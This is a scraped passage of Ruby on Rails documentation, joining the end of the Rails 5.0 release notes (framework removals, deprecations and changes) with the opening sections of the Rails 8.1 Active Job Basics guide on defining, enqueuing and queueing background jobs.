* Partial template name no longer has to be a valid Ruby identifier. ([commit](https://github.com/rails/rails/commit/da9038e))

* The `datetime_tag` helper now generates an input tag with the type of `datetime-local`. ([Pull Request](https://github.com/rails/rails/pull/25469))

* Allow blocks while rendering with the `render partial:` helper. ([Pull Request](https://github.com/rails/rails/pull/17974))

## [6. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-0-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-mailer-removals)

* Removed deprecated `*_path` helpers in email views. ([commit](https://github.com/rails/rails/commit/d282125a18c1697a9b5bb775628a2db239142ac7))

* Removed deprecated `deliver` and `deliver!` methods. ([commit](https://github.com/rails/rails/commit/755dcd0691f74079c24196135f89b917062b0715))

### [6.2. Notable changes](#action-mailer-notable-changes)

* Template lookup now respects default locale and I18n fallbacks. ([commit](https://github.com/rails/rails/commit/ecb1981b))

* Added `_mailer` suffix to mailers created via generator, following the same naming convention used in controllers and jobs. ([Pull Request](https://github.com/rails/rails/pull/18074))

* Added `assert_enqueued_emails` and `assert_no_enqueued_emails`. ([Pull Request](https://github.com/rails/rails/pull/18403))

* Added `config.action_mailer.deliver_later_queue_name` configuration to set the mailer queue name. ([Pull Request](https://github.com/rails/rails/pull/18587))

* Added support for fragment caching in Action Mailer views. Added new config option `config.action_mailer.perform_caching` to determine whether your templates should perform caching or not. ([Pull Request](https://github.com/rails/rails/pull/22825))

## [7. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-0-stable/activerecord/CHANGELOG.md) for detailed changes.

### [7.1. Removals](#active-record-removals)

* Removed deprecated behavior allowing nested arrays to be passed as query values. ([Pull Request](https://github.com/rails/rails/pull/17919))

* Removed deprecated `ActiveRecord::Tasks::DatabaseTasks#load_schema`. This method was replaced by `ActiveRecord::Tasks::DatabaseTasks#load_schema_for`. ([commit](https://github.com/rails/rails/commit/ad783136d747f73329350b9bb5a5e17c8f8800da))

* Removed deprecated `serialized_attributes`. ([commit](https://github.com/rails/rails/commit/82043ab53cb186d59b1b3be06122861758f814b2))

* Removed deprecated automatic counter caches on `has_many :through`. ([commit](https://github.com/rails/rails/commit/87c8ce340c6c83342df988df247e9035393ed7a0))

* Removed deprecated `sanitize_sql_hash_for_conditions`. ([commit](https://github.com/rails/rails/commit/3a59dd212315ebb9bae8338b98af259ac00bbef3))

* Removed deprecated `Reflection#source_macro`. ([commit](https://github.com/rails/rails/commit/ede8c199a85cfbb6457d5630ec1e285e5ec49313))

* Removed deprecated `symbolized_base_class` and `symbolized_sti_name`. ([commit](https://github.com/rails/rails/commit/9013e28e52eba3a6ffcede26f85df48d264b8951))

* Removed deprecated `ActiveRecord::Base.disable_implicit_join_references=`. ([commit](https://github.com/rails/rails/commit/0fbd1fc888ffb8cbe1191193bf86933110693dfc))

* Removed deprecated access to connection specification using a string accessor. ([commit](https://github.com/rails/rails/commit/efdc20f36ccc37afbb2705eb9acca76dd8aabd4f))

* Removed deprecated support to preload instance-dependent associations. ([commit](https://github.com/rails/rails/commit/4ed97979d14c5e92eb212b1a629da0a214084078))

* Removed deprecated support for PostgreSQL ranges with exclusive lower bounds. ([commit](https://github.com/rails/rails/commit/a076256d63f64d194b8f634890527a5ed2651115))

* Removed deprecation when modifying a relation with cached Arel. This raises an `ImmutableRelation` error instead. ([commit](https://github.com/rails/rails/commit/3ae98181433dda1b5e19910e107494762512a86c))

* Removed `ActiveRecord::Serialization::XmlSerializer` from core. This feature has been extracted into the [activemodel-serializers-xml](https://github.com/rails/activemodel-serializers-xml) gem. ([Pull Request](https://github.com/rails/rails/pull/21161))

* Removed support for the legacy `mysql` database adapter from core. Most users should be able to use `mysql2`. It will be converted to a separate gem when we find someone to maintain it. ([Pull Request 1](https://github.com/rails/rails/pull/22642), [Pull Request 2](https://github.com/rails/rails/pull/22715))

* Removed support for the `protected_attributes` gem. ([commit](https://github.com/rails/rails/commit/f4fbc0301021f13ae05c8e941c8efc4ae351fdf9))

* Removed support for PostgreSQL versions below 9.1. ([Pull Request](https://github.com/rails/rails/pull/23434))

* Removed support for `activerecord-deprecated_finders` gem. ([commit](https://github.com/rails/rails/commit/78dab2a8569408658542e462a957ea5a35aa4679))

* Removed `ActiveRecord::ConnectionAdapters::Column::TRUE_VALUES` constant. ([commit](https://github.com/rails/rails/commit/a502703c3d2151d4d3b421b29fefdac5ad05df61))

### [7.2. Deprecations](#active-record-deprecations)

* Deprecated passing a class as a value in a query. Users should pass strings instead. ([Pull Request](https://github.com/rails/rails/pull/17916))

* Deprecated returning `false` as a way to halt Active Record callback chains. The recommended way is to `throw(:abort)`. ([Pull Request](https://github.com/rails/rails/pull/17227))

* Deprecated `ActiveRecord::Base.errors_in_transactional_callbacks=`. ([commit](https://github.com/rails/rails/commit/07d3d402341e81ada0214f2cb2be1da69eadfe72))

* Deprecated `Relation#uniq` use `Relation#distinct` instead. ([commit](https://github.com/rails/rails/commit/adfab2dcf4003ca564d78d4425566dd2d9cd8b4f))

* Deprecated the PostgreSQL `:point` type in favor of a new one which will return `Point` objects instead of an `Array` ([Pull Request](https://github.com/rails/rails/pull/20448))

* Deprecated force association reload by passing a truthy argument to association method. ([Pull Request](https://github.com/rails/rails/pull/20888))

* Deprecated the keys for association `restrict_dependent_destroy` errors in favor of new key names. ([Pull Request](https://github.com/rails/rails/pull/20668))

* Synchronize behavior of `#tables`. ([Pull Request](https://github.com/rails/rails/pull/21601))

* Deprecated `SchemaCache#tables`, `SchemaCache#table_exists?` and `SchemaCache#clear_table_cache!` in favor of their new data source counterparts. ([Pull Request](https://github.com/rails/rails/pull/21715))

* Deprecated `connection.tables` on the SQLite3 and MySQL adapters. ([Pull Request](https://github.com/rails/rails/pull/21601))

* Deprecated passing arguments to `#tables` - the `#tables` method of some adapters (mysql2, sqlite3) would return both tables and views while others (postgresql) just return tables. To make their behavior consistent, `#tables` will return only tables in the future. ([Pull Request](https://github.com/rails/rails/pull/21601))

* Deprecated `table_exists?` - The `#table_exists?` method would check both tables and views. To make their behavior consistent with `#tables`, `#table_exists?` will check only tables in the future. ([Pull Request](https://github.com/rails/rails/pull/21601))

* Deprecate sending the `offset` argument to `find_nth`. Please use the `offset` method on relation instead. ([Pull Request](https://github.com/rails/rails/pull/22053))

* Deprecated `{insert|update|delete}_sql` in `DatabaseStatements`. Use the `{insert|update|delete}` public methods instead. ([Pull Request](https://github.com/rails/rails/pull/23086))

* Deprecated `use_transactional_fixtures` in favor of `use_transactional_tests` for more clarity. ([Pull Request](https://github.com/rails/rails/pull/19282))

* Deprecated passing a column to `ActiveRecord::Connection#quote`. ([commit](https://github.com/rails/rails/commit/7bb620869725ad6de603f6a5393ee17df13aa96c))

* Added an option `end` to `find_in_batches` that complements the `start` parameter to specify where to stop batch processing. ([Pull Request](https://github.com/rails/rails/pull/12257))

### [7.3. Notable changes](#active-record-notable-changes)

* Added a `foreign_key` option to `references` while creating the table. ([commit](https://github.com/rails/rails/commit/99a6f9e60ea55924b44f894a16f8de0162cf2702))

* New attributes API. ([commit](https://github.com/rails/rails/commit/8c752c7ac739d5a86d4136ab1e9d0142c4041e58))

* Added `:_prefix`/`:_suffix` option to `enum` definition. ([Pull Request](https://github.com/rails/rails/pull/19813), [Pull Request](https://github.com/rails/rails/pull/20999))

* Added `#cache_key` to `ActiveRecord::Relation`. ([Pull Request](https://github.com/rails/rails/pull/20884))

* Changed the default `null` value for `timestamps` to `false`. ([commit](https://github.com/rails/rails/commit/a939506f297b667291480f26fa32a373a18ae06a))

* Added `ActiveRecord::SecureToken` in order to encapsulate generation of unique tokens for attributes in a model using `SecureRandom`. ([Pull Request](https://github.com/rails/rails/pull/18217))

* Added `:if_exists` option for `drop_table`. ([Pull Request](https://github.com/rails/rails/pull/18597))

* Added `ActiveRecord::Base#accessed_fields`, which can be used to quickly discover which fields were read from a model when you are looking to only select the data you need from the database. ([commit](https://github.com/rails/rails/commit/be9b68038e83a617eb38c26147659162e4ac3d2c))

* Added the `#or` method on `ActiveRecord::Relation`, allowing use of the OR operator to combine WHERE or HAVING clauses. ([commit](https://github.com/rails/rails/commit/b0b37942d729b6bdcd2e3178eda7fa1de203b3d0))

* Added `ActiveRecord::Base.suppress` to prevent the receiver from being saved during the given block. ([Pull Request](https://github.com/rails/rails/pull/18910))

* `belongs_to` will now trigger a validation error by default if the association is not present. You can turn this off on a per-association basis with `optional: true`. Also deprecate `required` option in favor of `optional` for `belongs_to`. ([Pull Request](https://github.com/rails/rails/pull/18937))

* Added `config.active_record.dump_schemas` to configure the behavior of `db:structure:dump`. ([Pull Request](https://github.com/rails/rails/pull/19347))

* Added `config.active_record.warn_on_records_fetched_greater_than` option. ([Pull Request](https://github.com/rails/rails/pull/18846))

* Added a native JSON data type support in MySQL. ([Pull Request](https://github.com/rails/rails/pull/21110))

* Added support for dropping indexes concurrently in PostgreSQL. ([Pull Request](https://github.com/rails/rails/pull/21317))

* Added `#views` and `#view_exists?` methods on connection adapters. ([Pull Request](https://github.com/rails/rails/pull/21609))

* Added `ActiveRecord::Base.ignored_columns` to make some columns invisible from Active Record. ([Pull Request](https://github.com/rails/rails/pull/21720))

* Added `connection.data_sources` and `connection.data_source_exists?`. These methods determine what relations can be used to back Active Record models (usually tables and views). ([Pull Request](https://github.com/rails/rails/pull/21715))

* Allow fixtures files to set the model class in the YAML file itself. ([Pull Request](https://github.com/rails/rails/pull/20574))

* Added ability to default to `uuid` as primary key when generating database migrations. ([Pull Request](https://github.com/rails/rails/pull/21762))

* Added `ActiveRecord::Relation#left_joins` and `ActiveRecord::Relation#left_outer_joins`. ([Pull Request](https://github.com/rails/rails/pull/12071))

* Added `after_{create,update,delete}_commit` callbacks. ([Pull Request](https://github.com/rails/rails/pull/22516))

* Version the API presented to migration classes, so we can change parameter defaults without breaking existing migrations, or forcing them to be rewritten through a deprecation cycle. ([Pull Request](https://github.com/rails/rails/pull/21538))

* `ApplicationRecord` is a new superclass for all app models, analogous to app controllers subclassing `ApplicationController` instead of `ActionController::Base`. This gives apps a single spot to configure app-wide model behavior. ([Pull Request](https://github.com/rails/rails/pull/22567))

* Added ActiveRecord `#second_to_last` and `#third_to_last` methods. ([Pull Request](https://github.com/rails/rails/pull/23583))

* Added ability to annotate database objects (tables, columns, indexes) with comments stored in database metadata for PostgreSQL & MySQL. ([Pull Request](https://github.com/rails/rails/pull/22911))

* Added prepared statements support to `mysql2` adapter, for mysql2 0.4.4+, Previously this was only supported on the deprecated `mysql` legacy adapter. To enable, set `prepared_statements: true` in `config/database.yml`. ([Pull Request](https://github.com/rails/rails/pull/23461))

* Added ability to call `ActiveRecord::Relation#update` on relation objects which will run validations on callbacks on all objects in the relation. ([Pull Request](https://github.com/rails/rails/pull/11898))

* Added `:touch` option to the `save` method so that records can be saved without updating timestamps. ([Pull Request](https://github.com/rails/rails/pull/18225))

* Added expression indexes and operator classes support for PostgreSQL. ([commit](https://github.com/rails/rails/commit/edc2b7718725016e988089b5fb6d6fb9d6e16882))

* Added `:index_errors` option to add indexes to errors of nested attributes. ([Pull Request](https://github.com/rails/rails/pull/19686))

* Added support for bidirectional destroy dependencies. ([Pull Request](https://github.com/rails/rails/pull/18548))

* Added support for `after_commit` callbacks in transactional tests. ([Pull Request](https://github.com/rails/rails/pull/18458))

* Added `foreign_key_exists?` method to see if a foreign key exists on a table or not. ([Pull Request](https://github.com/rails/rails/pull/18662))

* Added `:time` option to `touch` method to touch records with different time than the current time. ([Pull Request](https://github.com/rails/rails/pull/18956))

* Change transaction callbacks to not swallow errors. Before this change any errors raised inside a transaction callback were getting rescued and printed in the logs, unless you used the (newly deprecated) `raise_in_transactional_callbacks = true` option.

  Now these errors are not rescued anymore and just bubble up, matching the behavior of other callbacks. ([commit](https://github.com/rails/rails/commit/07d3d402341e81ada0214f2cb2be1da69eadfe72))

## [8. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-0-stable/activemodel/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-model-removals)

* Removed deprecated `ActiveModel::Dirty#reset_#{attribute}` and `ActiveModel::Dirty#reset_changes`. ([Pull Request](https://github.com/rails/rails/commit/37175a24bd508e2983247ec5d011d57df836c743))

* Removed XML serialization. This feature has been extracted into the [activemodel-serializers-xml](https://github.com/rails/activemodel-serializers-xml) gem. ([Pull Request](https://github.com/rails/rails/pull/21161))

* Removed `ActionController::ModelNaming` module. ([Pull Request](https://github.com/rails/rails/pull/18194))

### [8.2. Deprecations](#active-model-deprecations)

* Deprecated returning `false` as a way to halt Active Model and `ActiveModel::Validations` callback chains. The recommended way is to `throw(:abort)`. ([Pull Request](https://github.com/rails/rails/pull/17227))

* Deprecated `ActiveModel::Errors#get`, `ActiveModel::Errors#set` and `ActiveModel::Errors#[]=` methods that have inconsistent behavior. ([Pull Request](https://github.com/rails/rails/pull/18634))

* Deprecated the `:tokenizer` option for `validates_length_of`, in favor of plain Ruby. ([Pull Request](https://github.com/rails/rails/pull/19585))

* Deprecated `ActiveModel::Errors#add_on_empty` and `ActiveModel::Errors#add_on_blank` with no replacement. ([Pull Request](https://github.com/rails/rails/pull/18996))

### [8.3. Notable changes](#active-model-notable-changes)

* Added `ActiveModel::Errors#details` to determine what validator has failed. ([Pull Request](https://github.com/rails/rails/pull/18322))

* Extracted `ActiveRecord::AttributeAssignment` to `ActiveModel::AttributeAssignment` allowing to use it for any object as an includable module. ([Pull Request](https://github.com/rails/rails/pull/10776))

* Added `ActiveModel::Dirty#[attr_name]_previously_changed?` and `ActiveModel::Dirty#[attr_name]_previous_change` to improve access to recorded changes after the model has been saved. ([Pull Request](https://github.com/rails/rails/pull/19847))

* Validate multiple contexts on `valid?` and `invalid?` at once. ([Pull Request](https://github.com/rails/rails/pull/21069))

* Change `validates_acceptance_of` to accept `true` as default value apart from `1`. ([Pull Request](https://github.com/rails/rails/pull/18439))

## [9. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-0-stable/activejob/CHANGELOG.md) for detailed changes.

### [9.1. Notable changes](#active-job-notable-changes)

* `ActiveJob::Base.deserialize` delegates to the job class. This allows jobs to attach arbitrary metadata when they get serialized and read it back when they get performed. ([Pull Request](https://github.com/rails/rails/pull/18260))

* Add ability to configure the queue adapter on a per job basis without affecting each other. ([Pull Request](https://github.com/rails/rails/pull/16992))

* A generated job now inherits from `app/jobs/application_job.rb` by default. ([Pull Request](https://github.com/rails/rails/pull/19034))

* Allow `DelayedJob`, `Sidekiq`, `qu`, `que`, and `queue_classic` to report the job id back to `ActiveJob::Base` as `provider_job_id`. ([Pull Request](https://github.com/rails/rails/pull/20064), [Pull Request](https://github.com/rails/rails/pull/20056), [commit](https://github.com/rails/rails/commit/68e3279163d06e6b04e043f91c9470e9259bbbe0))

* Implement a simple `AsyncJob` processor and associated `AsyncAdapter` that queue jobs to a `concurrent-ruby` thread pool. ([Pull Request](https://github.com/rails/rails/pull/21257))

* Change the default adapter from inline to async. It's a better default as tests will then not mistakenly come to rely on behavior happening synchronously. ([commit](https://github.com/rails/rails/commit/625baa69d14881ac49ba2e5c7d9cac4b222d7022))

## [10. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-0-stable/activesupport/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#removals)

* Removed deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. ([commit](https://github.com/rails/rails/commit/d6e06ea8275cdc3f126f926ed9b5349fde374b10))

* Removed deprecated methods `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=` and `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string`. ([commit](https://github.com/rails/rails/commit/c8019c0611791b2716c6bed48ef8dcb177b7869c))

* Removed deprecated `ActiveSupport::SafeBuffer#prepend`. ([commit](https://github.com/rails/rails/commit/e1c8b9f688c56aaedac9466a4343df955b4a67ec))

* Removed deprecated methods from `Kernel`. `silence_stderr`, `silence_stream`, `capture` and `quietly`. ([commit](https://github.com/rails/rails/commit/481e49c64f790e46f4aff3ed539ed227d2eb46cb))

* Removed deprecated `active_support/core_ext/big_decimal/yaml_conversions` file. ([commit](https://github.com/rails/rails/commit/98ea19925d6db642731741c3b91bd085fac92241))

* Removed deprecated methods `ActiveSupport::Cache::Store.instrument` and `ActiveSupport::Cache::Store.instrument=`. ([commit](https://github.com/rails/rails/commit/a3ce6ca30ed0e77496c63781af596b149687b6d7))

* Removed deprecated `Class#superclass_delegating_accessor`. Use `Class#class_attribute` instead. ([Pull Request](https://github.com/rails/rails/pull/16938))

* Removed deprecated `ThreadSafe::Cache`. Use `Concurrent::Map` instead. ([Pull Request](https://github.com/rails/rails/pull/21679))

* Removed `Object#itself` as it is implemented in Ruby 2.2. ([Pull Request](https://github.com/rails/rails/pull/18244))

### [10.2. Deprecations](#deprecations)

* Deprecated `MissingSourceFile` in favor of `LoadError`. ([commit](https://github.com/rails/rails/commit/734d97d2))

* Deprecated `alias_method_chain` in favour of `Module#prepend` introduced in Ruby 2.0. ([Pull Request](https://github.com/rails/rails/pull/19434))

* Deprecated `ActiveSupport::Concurrency::Latch` in favor of `Concurrent::CountDownLatch` from concurrent-ruby. ([Pull Request](https://github.com/rails/rails/pull/20866))

* Deprecated `:prefix` option of `number_to_human_size` with no replacement. ([Pull Request](https://github.com/rails/rails/pull/21191))

* Deprecated `Module#qualified_const_` in favour of the builtin `Module#const_` methods. ([Pull Request](https://github.com/rails/rails/pull/17845))

* Deprecated passing string to define callback. ([Pull Request](https://github.com/rails/rails/pull/22598))

* Deprecated `ActiveSupport::Cache::Store#namespaced_key`, `ActiveSupport::Cache::MemCachedStore#escape_key`, and `ActiveSupport::Cache::FileStore#key_file_path`. Use `normalize_key` instead. ([Pull Request](https://github.com/rails/rails/pull/22215), [commit](https://github.com/rails/rails/commit/a8f773b0))

* Deprecated `ActiveSupport::Cache::LocaleCache#set_cache_value` in favor of `write_cache_value`. ([Pull Request](https://github.com/rails/rails/pull/22215))

* Deprecated passing arguments to `assert_nothing_raised`. ([Pull Request](https://github.com/rails/rails/pull/23789))

* Deprecated `Module.local_constants` in favor of `Module.constants(false)`. ([Pull Request](https://github.com/rails/rails/pull/23936))

### [10.3. Notable changes](#active-support-notable-changes)

* Added `#verified` and `#valid_message?` methods to `ActiveSupport::MessageVerifier`. ([Pull Request](https://github.com/rails/rails/pull/17727))

* Changed the way in which callback chains can be halted. The preferred method to halt a callback chain from now on is to explicitly `throw(:abort)`. ([Pull Request](https://github.com/rails/rails/pull/17227))

* New config option `config.active_support.halt_callback_chains_on_return_false` to specify whether ActiveRecord, ActiveModel, and ActiveModel::Validations callback chains can be halted by returning `false` in a 'before' callback. ([Pull Request](https://github.com/rails/rails/pull/17227))

* Changed the default test order from `:sorted` to `:random`. ([commit](https://github.com/rails/rails/commit/5f777e4b5ee2e3e8e6fd0e2a208ec2a4d25a960d))

* Added `#on_weekend?`, `#on_weekday?`, `#next_weekday`, `#prev_weekday` methods to `Date`, `Time`, and `DateTime`. ([Pull Request](https://github.com/rails/rails/pull/18335), [Pull Request](https://github.com/rails/rails/pull/23687))

* Added `same_time` option to `#next_week` and `#prev_week` for `Date`, `Time`, and `DateTime`. ([Pull Request](https://github.com/rails/rails/pull/18335))

* Added `#prev_day` and `#next_day` counterparts to `#yesterday` and `#tomorrow` for `Date`, `Time`, and `DateTime`. ([Pull Request](https://github.com/rails/rails/pull/18335))

* Added `SecureRandom.base58` for generation of random base58 strings. ([commit](https://github.com/rails/rails/commit/b1093977110f18ae0cafe56c3d99fc22a7d54d1b))

* Added `file_fixture` to `ActiveSupport::TestCase`. It provides a simple mechanism to access sample files in your test cases. ([Pull Request](https://github.com/rails/rails/pull/18658))

* Added `#without` on `Enumerable` and `Array` to return a copy of an enumerable without the specified elements. ([Pull Request](https://github.com/rails/rails/pull/19157))

* Added `ActiveSupport::ArrayInquirer` and `Array#inquiry`. ([Pull Request](https://github.com/rails/rails/pull/18939))

* Added `ActiveSupport::TimeZone#strptime` to allow parsing times as if from a given timezone. ([commit](https://github.com/rails/rails/commit/a5e507fa0b8180c3d97458a9b86c195e9857d8f6))

* Added `Integer#positive?` and `Integer#negative?` query methods in the vein of `Integer#zero?`. ([commit](https://github.com/rails/rails/commit/e54277a45da3c86fecdfa930663d7692fd083daa))

* Added a bang version to `ActiveSupport::OrderedOptions` get methods which will raise an `KeyError` if the value is `.blank?`. ([Pull Request](https://github.com/rails/rails/pull/20208))

* Added `Time.days_in_year` to return the number of days in the given year, or the current year if no argument is provided. ([commit](https://github.com/rails/rails/commit/2f4f4d2cf1e4c5a442459fc250daf66186d110fa))

* Added an evented file watcher to asynchronously detect changes in the application source code, routes, locales, etc. ([Pull Request](https://github.com/rails/rails/pull/22254))

* Added thread\_m/cattr\_accessor/reader/writer suite of methods for declaring class and module variables that live per-thread. ([Pull Request](https://github.com/rails/rails/pull/22630))

* Added `Array#second_to_last` and `Array#third_to_last` methods. ([Pull Request](https://github.com/rails/rails/pull/23583))

* Publish `ActiveSupport::Executor` and `ActiveSupport::Reloader` APIs to allow components and libraries to manage, and participate in, the execution of application code, and the application reloading process. ([Pull Request](https://github.com/rails/rails/pull/23807))

* `ActiveSupport::Duration` now supports ISO8601 formatting and parsing. ([Pull Request](https://github.com/rails/rails/pull/16917))

* `ActiveSupport::JSON.decode` now supports parsing ISO8601 local times when `parse_json_times` is enabled. ([Pull Request](https://github.com/rails/rails/pull/23011))

* `ActiveSupport::JSON.decode` now return `Date` objects for date strings. ([Pull Request](https://github.com/rails/rails/pull/23011))

* Added ability to `TaggedLogging` to allow loggers to be instantiated multiple times so that they don't share tags with each other. ([Pull Request](https://github.com/rails/rails/pull/9065))

## [11. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_job_basics.html
----

***

## [1. What is Active Job?](#what-is-active-job-questionmark)

The Active Job Rails framework allows you to declare background jobs and execute them on a queuing backend. It provides a consistent, high-level interface for common asynchronous tasks such as sending emails, processing data, or performing periodic maintenance tasks.

The goal of background jobs is to move long-running or non-critical work out of the HTTP request-response cycle and into a background queue (such as the default Solid Queue), and keep the web requests fast and responsive. This separation allows applications to perform work asynchronously, scale background processing independently, and execute multiple tasks in parallel without blocking user interactions.

## [2. Creating Jobs](#creating-jobs)

This section provides a step-by-step guide for defining a job Ruby class and then using the `perform_*` method to enqueue work to be executed in the background.

### [2.1. Defining a Job](#defining-a-job)

Active Job provides a Rails generator to create jobs. The following will create a job in the `app/jobs` directory (with tests under `test/jobs`):

```
$ bin/rails generate job guests_cleanup
invoke  test_unit
create    test/jobs/guests_cleanup_job_test.rb
create  app/jobs/guests_cleanup_job.rb
```

If you don't want to use a generator, you can create your own file inside of `app/jobs` and define a class that inherits from `ApplicationJob`.

Here's what a job looks like:

```
class GuestsCleanupJob < ApplicationJob
  queue_as :default

  def perform(*guests)
    # Do something later
  end
end
```

Note that you can define the `perform` method inside a job class with as many arguments as you want.

If your application uses a custom abstract job base class instead of `ApplicationJob`, you can use the `--parent` option with the generator. The parent class must itself inherit from `ApplicationJob`. This can be useful for grouping related functionality in one place.

For example, given a custom abstract job class using [queue\_as](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as):

```
class PaymentJob < ApplicationJob
  queue_as :payments
end
```

You can generate a new job that inherits from it:

```
$ bin/rails generate job process_payment --parent=payment_job
```

The above creates a class that will use the `payments` queue:

```
class ProcessPaymentJob < PaymentJob
  def perform(*args)
    # Do something later, uses the "payments" queue
  end
end
```

### [2.2. Calling the `perform_*` Methods](#calling-the-perform-methods)

Once you have defined a job class with a `perform` method, you'd typically call it using [`perform_later`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later) to enqueue the work to be executed on a queuing backend. Or use [`perform_now`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Execution.html#method-i-perform_now) if you want the job to execute immediately without queueing. Both `perform_later` and `perform_now` call `perform` under the hood.

In the examples below, the methods can be called from anywhere in your Rails application, most commonly from controllers, models, or other jobs.

```
# To run a job immediately without enqueuing it
GuestsCleanupJob.perform_now(guest)

# To enqueue a job to be performed later
GuestsCleanupJob.perform_later(guest)
```

Use the [`set`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/Core/ClassMethods.html#method-i-set) method to specify exactly when to perform a job.

```
# Enqueue a job to be performed tomorrow at noon
GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest)

# Enqueue a job to be performed one week from now
GuestsCleanupJob.set(wait: 1.week).perform_later(guest)
```

Since both `perform_now` and `perform_later` forward their arguments to `perform`, you can pass as many arguments as defined in `perform`, including keyword arguments:

```
GuestsCleanupJob.perform_later(guest1, guest2, filter: "some_filter")
```

#### [2.2.1. Example: Sending Email](#example-sending-email)

One of the most common jobs in a modern web application is sending emails to users. Active Job can do this outside of the request-response cycle, so the user doesn't have to wait on it. Active Job is integrated with Action Mailer so you can easily send emails asynchronously:

```
# If you want to send the email now, use #deliver_now
UserMailer.welcome(@user).deliver_now

# If you want to send the email asynchronously, use #deliver_later
UserMailer.welcome(@user).deliver_later
```

The `deliver_now` and `deliver_later` methods are Action Mailer's counterparts to `perform_now` and `perform_later`. Under the hood, `deliver_later` works by enqueuing an `ActionMailer::MailDeliveryJob` — a built-in Active Job job that Rails provides — which goes through the same queuing pipeline as any job you define yourself, and will eventually call the `perform` method in your Job class.

### [2.3. Supported Argument Types for `perform`](#supported-argument-types-for-perform)

ActiveJob supports the following types of arguments by default:

* Basic types (`NilClass`, `String`, `Integer`, `Float`, `BigDecimal`, `TrueClass`, `FalseClass`)
* `Symbol`
* `Date`
* `Time`
* `DateTime`
* `ActiveSupport::TimeWithZone`
* `ActiveSupport::Duration`
* `Hash` (Keys should be of `String` or `Symbol` type)
* `ActiveSupport::HashWithIndifferentAccess`
* `Array`
* `Range`
* `Module`
* `Class`

Active Job supports [GlobalID](https://github.com/rails/globalid/blob/main/README.md) for arguments. This makes it possible to pass live Active Record objects to your job instead of class/id pairs, which you then have to manually deserialize.

For example, instead of having to do something like this:

```
class GuestsCleanupJob < ApplicationJob
  def perform(guests_class, guests_id, depth)
    guests = guests_class.constantize.find(guests_id)
    guest.cleanup(depth)
  end
end
```

Using GlobalID, you can simply do:

```
class GuestsCleanupJob < ApplicationJob
  def perform(guest, depth)
    guest.cleanup(depth)
  end
end
```

This works with any class that mixes in `GlobalID::Identification`, which is mixed into Active Record by default.

#### [2.3.1. Add Custom Types by Defining Serializers](#add-custom-types-by-defining-serializers)

You can extend the list of supported argument types by defining your own serializer for your custom types. A serializer needs three methods: `serialize`, `deserialize`, and `klass`.

The `serialize` method converts an object into a simpler representation using only supported types. The recommended approach is to return a Hash with string keys, calling `super` to let Active Job merge in the serializer's type information:

```
# app/serializers/money_serializer.rb
class MoneySerializer < ActiveJob::Serializers::ObjectSerializer
  def serialize(money)
    super(
      "amount" => money.amount,
      "currency" => money.currency
    )
  end

  def deserialize(hash)
    Money.new(hash["amount"], hash["currency"])
  end

  def klass
    Money
  end
end
```

The `deserialize` method receives that hash and reconstructs the original object. The `klass` method returns the class this serializer handles so Active Job can use it to determine which serializer to apply to a given argument.

Once a serializer is defined, it needs to be added to the list of serializers Rails knows about:

```
# config/initializers/custom_serializers.rb
Rails.application.config.active_job.custom_serializers << MoneySerializer
```

Custom Active Job serializers are registered during application initialization and are expected to remain stable for the lifetime of the process. Reloadable autoloading is not supported in this context.

To ensure serializers are loaded only once (and not reloaded in development), place them in an autoload\_once\_paths directory, such as:

```
# config/application.rb
module YourApp
  class Application < Rails::Application
    config.autoload_once_paths << "#{root}/app/serializers"
  end
end
```

## [3. Enqueuing Jobs](#enqueuing-jobs)

### [3.1. Naming Queues](#naming-queues)

With Active Job you can schedule the job to run on a specific queue using [`queue_as`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as):

```
class GuestsCleanupJob < ApplicationJob
  queue_as :low_priority
  # ...
end
```

When using a generator, you can also create a job that will run on a specific queue:

```
$ bin/rails generate job guests_cleanup --queue low_priority
```

You can prefix the queue name for all your jobs using [`config.active_job.queue_name_prefix`](configuring.html#config-active-job-queue-name-prefix) in `application.rb`:

```
# config/application.rb
module YourApp
  class Application < Rails::Application
    config.active_job.queue_name_prefix = Rails.env
  end
end
```

```
# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
  queue_as :low_priority
  # ...
end
```

Now your job will run on queue `production_low_priority` on your production environment and on `staging_low_priority` on your staging environment.

You can also configure the prefix on a per job basis.

```
# This will override the global prefix and this job won't be prefixed.
class GuestsCleanupJob < ApplicationJob
  queue_as :low_priority
  self.queue_name_prefix = nil
  # ...
end
```

The default queue name prefix delimiter is '\_'. This can be changed by setting [`config.active_job.queue_name_delimiter`](configuring.html#config-active-job-queue-name-delimiter) in `application.rb`:

```
# config/application.rb
module YourApp
  class Application < Rails::Application
    config.active_job.queue_name_prefix = Rails.env
    config.active_job.queue_name_delimiter = "."
  end
end
```

```
# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
  queue_as :low_priority
  # ...
end
```

Now the queue will be named `production.low_priority` or `staging.low_priority`.

You can control the queue at the job level by passing a block to `queue_as`. The block will be executed in the job context (so it can access `self.arguments`), and it's return value must be a queue name. For example:

```
class ProcessVideoJob < ApplicationJob
  queue_as do
    video = self.arguments.first
    if video.owner.premium?
      :premium_videojobs
    else
      :videojobs
    end
  end

  def perform(video)
    # Do process video
  end
end
```

```
